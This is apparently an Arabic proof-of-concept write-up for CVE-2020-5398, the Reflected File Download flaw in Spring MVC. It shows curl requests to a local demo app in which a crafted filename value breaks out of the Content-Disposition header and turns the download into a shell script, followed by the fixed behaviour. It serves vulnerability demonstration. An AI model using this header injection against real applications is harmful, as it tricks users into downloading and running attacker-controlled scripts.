
CVE-2020-5398 - هجوم RFD(Reflected File Download) لـ Spring MVC
في إطار Spring Framework، الإصدارات 5.2.x قبل 5.2.3، والإصدارات 5.1.x قبل 5.1.13، والإصدارات 5.0.x قبل 5.0.16، يكون التطبيق عرضة لهجوم تنزيل الملف المنعكس (RFD) عندما يضع ترويسة "Content-Disposition" في الاستجابة حيث تكون سمة اسم الملف مشتقة من إدخال يقدمه المستخدم.
./gradlew bootrun
استمع على 127.0.0.1:8080.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
ابدأ تنزيل الملف sample.txt.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
ابدأ تنزيل الملف sample.sh (ملف شل).
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
ابدأ تنزيل الملف sample.sh";.txt (ملف نصي).